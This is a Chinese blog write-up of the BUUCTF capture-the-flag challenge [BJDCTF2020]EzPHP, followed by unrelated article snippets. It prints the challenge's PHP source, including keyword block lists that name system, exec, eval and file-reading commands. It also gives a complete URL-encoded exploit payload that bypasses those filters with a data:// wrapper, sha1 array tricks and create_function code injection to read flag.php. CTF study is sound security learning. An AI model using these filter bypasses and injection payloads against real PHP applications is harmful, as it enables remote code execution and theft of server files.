96,【4】 buuctf web [BJDCTF2020]EzPHP

进入靶场

查看源代码

 

GFXEIM3YFZYGQ4A= 

一看就是编码后的

1nD3x.php

访问

得到源代码

<?php
// 高亮显示当前 PHP 文件的源代码,用于调试或展示代码结构
highlight_file(__FILE__);
// 关闭所有 PHP 错误报告,防止错误信息泄露可能的安全漏洞
error_reporting(0); // 初始化变量 $file,默认值为 "1nD3x.php"
$file = "1nD3x.php";
// 从 GET 请求中获取名为 'shana' 的参数值
$shana = $_GET['shana'];
// 从 GET 请求中获取名为 'passwd' 的参数值
$passwd = $_GET['passwd'];
// 初始化变量 $arg,用于后续存储参数,初始为空字符串
$arg = '';
// 初始化变量 $code,用于后续存储代码,初始为空字符串
$code = '';// 输出提示信息,告知用户这是一个简单挑战,解决后会给出 flag
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";// 检查 $_SERVER 数组是否存在
if($_SERVER) { // 使用正则表达式检查 $_SERVER['QUERY_STRING'] 是否包含危险关键字// 这些关键字可能被用于执行危险操作,如代码注入、命令执行等if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  // 如果包含危险关键字,终止程序并输出警告信息die('You seem to want to do something bad?'); 
}// 检查从 GET 请求中获取的 'file' 参数是否不包含 'http' 或 'https'
if (!preg_match('/http|https/i', $_GET['file'])) {// 检查 'debu' 参数是否匹配正则表达式 '^aqua_is_cute$' 且不等于 'aqua_is_cute'// 这里是一个矛盾条件,正常情况下不会满足if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { // 如果满足条件,将 'file' 参数的值赋给 $file 变量$file = $_GET["file"]; // 输出提示信息,表示用户完成了一个步骤echo "Neeeeee! Good Job!<br>";} 
} else {// 如果 'file' 参数包含 'http' 或 'https',终止程序并输出警告信息die('fxck you! What do you want to do ?!');
}// 检查 $_REQUEST 数组是否存在
if($_REQUEST) { // 遍历 $_REQUEST 数组中的每个值foreach($_REQUEST as $value) { // 使用正则表达式检查值是否包含英文字母if(preg_match('/[a-zA-Z]/i', $value))  // 如果包含英文字母,终止程序并输出警告信息die('fxck you! I hate English!'); } 
} // 读取 $file 文件的内容,并检查是否等于 'debu_debu_aqua'
if (file_get_contents($file) !== 'debu_debu_aqua')// 如果不相等,终止程序并输出提示信息die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");// 检查 $shana 和 $passwd 的 SHA-1 哈希值是否相等,但 $shana 和 $passwd 本身不相等
// 这是利用了 SHA-1 哈希函数对某些特殊输入可能产生相同哈希值的特性
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){// 如果满足条件,从 GET 请求的 'flag' 参数中提取变量extract($_GET["flag"]);// 输出提示信息,表示用户通过了密码验证echo "Very good! you know my password. But what is flag?<br>";
} else{// 如果不满足条件,终止程序并输出警告信息die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}// 检查 $code 是否只包含小写字母和数字,或者 $arg 是否包含危险关键字
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { // 如果满足条件,终止程序并输出提示信息,表示危险函数已被禁用die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { // 如果不满足条件,包含 'flag.php' 文件include "flag.php";// 调用 $code 变量作为函数,并传入空字符串和 $arg 作为参数$code('', $arg); 
}
?>

总结:我们需要传参(shana password)

绕过正则表达式检查 $_SERVER['QUERY_STRING'] 

'file' 参数不包含 'http' 或 'https' 

 'debu' 参数匹配正则表达式 '^aqua_is_cute$' 且不等于 'aqua_is_cute'   

$_REQUEST 不能包含英文字母

 $file 文件的内容要等于 'debu_debu_aqua'

$shana 和 $passwd 的 SHA-1 哈希值相等,但 $shana 和 $passwd 本身不相等

$code 只包含小写字母和数字,或者 $arg 不包含危险关键字

payload

 /1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
;//

post传参 file=1&debu=1

flag就在这里,你能拿到它吗?PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFne2ZlODYwNzNlLTNhZjktNGNiZC1hNTNiLTMxNGI1OWRhOGI4Nn0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo= 

flag{fe86073e-3af9-4cbd-a53b-314b59da8b86} 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/11464.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

吴恩达深度学习——有效运作神经网络

内容来自https://www.bilibili.com/video/BV1FT4y1E74V&#xff0c;仅为本人学习所用。 文章目录 训练集、验证集、测试集偏差、方差正则化正则化参数为什么正则化可以减少过拟合Dropout正则化Inverted Dropout其他的正则化方法数据增广Early stopping 归一化梯度消失与梯度爆…

【xdoj-离散线上练习】T251(C++)

解题反思&#xff1a; 开始敲代码前想清楚整个思路比什么都重要嘤嘤嘤&#xff01;看到输入m, n和矩阵&#xff0c;注意不能想当然地认为就是高m&#xff0c;宽n的矩阵&#xff0c;细看含义 比如本题给出了树的邻接矩阵&#xff0c;就是n*n的&#xff0c;代码实现中没有用到m这…

deep seek R1本地化部署及openAI API调用

先说几句题外话。 最近deep seek火遍全球&#xff0c;所以春节假期期间趁着官网优惠充值了deep seek的API&#xff0c;用openAI的接口方式尝试了下对deep seek的调用&#xff0c;并且做了个简单测试&#xff0c;测试内容确实非常简单&#xff1a;通过prompt提示词让大模型对用…

01.双Android容器解决方案

目录 写在前面 一&#xff0c;容器 1.1 容器的原理 1.1.1 Namespace 1.1.2 Cgroups&#xff08;Control Groups&#xff09; 1.1.3 联合文件系统&#xff08;Union File System&#xff09; 1.2 容器的应用 1.2.1 微服务架构 1.2.2 持续集成和持续部署&#xff08;CI/…

Python 绘图工具详解:使用 Matplotlib、Seaborn 和 Pyecharts 绘制散点图

目录 数据可视化1.使用 matplotlib 库matplotlib 库 2 .使用 seaborn 库seaborn 库 3 .使用 pyecharts库pyecharts库 注意1. 确保安装了所有必要的库2. 检查Jupyter Notebook的版本3. 使用render()方法保存为HTML文件4. 使用IFrame在Notebook中显示HTML文件5. 检查是否有其他输…

无人机集群新年祝福表演技术原理详解

无人机集群新年祝福表演技术是一项集飞行控制技术、智能协调和精密控制于一体的高科技表演形式。其技术原理主要涉及无人机硬件设备、软件系统以及表演协调等多个方面。以下是对该技术原理的详细解析&#xff1a; 一、无人机硬件设备 无人机集群表演的核心是无人机本身&#x…

贪吃蛇实现

1.资料来源 https://learn.microsoft.com/zh-cn/windows/console/getstdhandle 2.前言 简介 贪吃蛇是久负盛名的游戏&#xff0c;和俄罗斯方块、扫雷等游戏位列于经典游戏的行列。 《贪食蛇》中玩家控制一条不断移动的蛇&#xff0c;在屏幕上吃掉出现的食物。每吃掉一个食物…

计算机毕业设计Python动漫推荐系统 漫画推荐系统 动漫视频推荐系统 机器学习 bilibili动漫爬虫 数据可视化 数据分析 大数据毕业设计

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

MyBatis-Plus笔记-快速入门

大家在日常开发中应该能发现&#xff0c;单表的CRUD功能代码重复度很高&#xff0c;也没有什么难度。而这部分代码量往往比较大&#xff0c;开发起来比较费时。 因此&#xff0c;目前企业中都会使用一些组件来简化或省略单表的CRUD开发工作。目前在国内使用较多的一个组件就是…

《OpenCV》——图像透视转换

图像透视转换简介 在 OpenCV 里&#xff0c;图像透视转换属于重要的几何变换&#xff0c;也被叫做投影变换。下面从原理、实现步骤、相关函数和应用场景几个方面为你详细介绍。 原理 实现步骤 选取对应点&#xff1a;要在源图像和目标图像上分别找出至少四个对应的点。这些对…

克隆OpenAI(基于openai API和streamlit)

utils.py&#xff1a; from langchain_openai import ChatOpenAI from langchain.memory import ConversationBufferMemory from langchain.chains import ConversationChain import osdef get_chat_response(api_key,prompt,memory): # memory不能是函数的内部局部变量&…

用 HTML、CSS 和 JavaScript 实现抽奖转盘效果

顺序抽奖 前言 这段代码实现了一个简单的抽奖转盘效果。页面上有一个九宫格布局的抽奖区域&#xff0c;周围八个格子分别放置了不同的奖品名称&#xff0c;中间是一个 “开始抽奖” 的按钮。点击按钮后&#xff0c;抽奖区域的格子会快速滚动&#xff0c;颜色不断变化&#xf…

【Linux】使用管道实现一个简易版本的进程池

文章目录 使用管道实现一个简易版本的进程池流程图代码makefileTask.hppProcessPool.cc 程序流程&#xff1a; 使用管道实现一个简易版本的进程池 流程图 代码 makefile ProcessPool:ProcessPool.ccg -o $ $^ -g -stdc11 .PHONY:clean clean:rm -f ProcessPoolTask.hpp #pr…

Elasticsearch的索引生命周期管理

目录 说明零、参考一、ILM的基本概念二、ILM的实践步骤Elasticsearch ILM策略中的“最小年龄”是如何计算的&#xff1f;如何监控和调整Elasticsearch ILM策略的性能&#xff1f; 1. **监控性能**使用/_cat/thread_pool API基本请求格式请求特定线程池的信息响应内容 2. **调整…

MQTT知识

MQTT协议 MQTT 是一种基于发布/订阅模式的轻量级消息传输协议&#xff0c;专门针对低带宽和不稳定网络环境的物联网应用而设计&#xff0c;可以用极少的代码为联网设备提供实时可靠的消息服务。MQTT 协议广泛应用于物联网、移动互联网、智能硬件、车联网、智慧城市、远程医疗、…

LabVIEW如何高频采集温度数据?

在LabVIEW中进行高频温度数据采集时&#xff0c;选择合适的传感器&#xff08;如热电偶或热电阻&#xff09;和采集硬件是关键。下面是一些建议&#xff0c;帮助实现高效的温度数据采集&#xff1a; 1. 传感器选择&#xff1a; 热电偶&#xff08;Thermocouple&#xff09;&am…

前端 | 深入理解Promise

1. 引言 JavaScript 是一种单线程语言&#xff0c;这意味着它一次仅能执行一个任务。为了处理异步操作&#xff0c;JavaScript 提供了回调函数&#xff0c;但是随着项目处理并发任务的增加&#xff0c;回调地狱 (Callback Hell) 使异步代码很难维护。为此&#xff0c;ES6带来了…

gesp(C++六级)(10)洛谷:P10722:[GESP202406 六级] 二叉树

gesp(C六级)&#xff08;10&#xff09;洛谷&#xff1a;P10722&#xff1a;[GESP202406 六级] 二叉树 题目描述 小杨有⼀棵包含 n n n 个节点的二叉树&#xff0c;且根节点的编号为 1 1 1。这棵二叉树任意⼀个节点要么是白色&#xff0c;要么是黑色。之后小杨会对这棵二叉树…

【UE】 APlayerState

APlayerState 定义和功能 APlayerState用于保存关于游戏玩家状态的信息&#xff0c;例如得分、玩家名称和其他统计数据。这些信息通常在多人游戏中被用来持续跟踪玩家的表现。设计理念 APlayerState的目的是提供一个存储和传输玩家特定信息的方法&#xff0c;这样即使玩家的控…

如何用微信小程序写春联

​ 生活没有模板,只需心灯一盏。 如果笑能让你释然,那就开怀一笑;如果哭能让你减压,那就让泪水流下来。如果沉默是金,那就不用解释;如果放下能更好地前行,就别再扛着。 一、引入 Vant UI 1、通过 npm 安装 npm i @vant/weapp -S --production​​ 2、修改 app.json …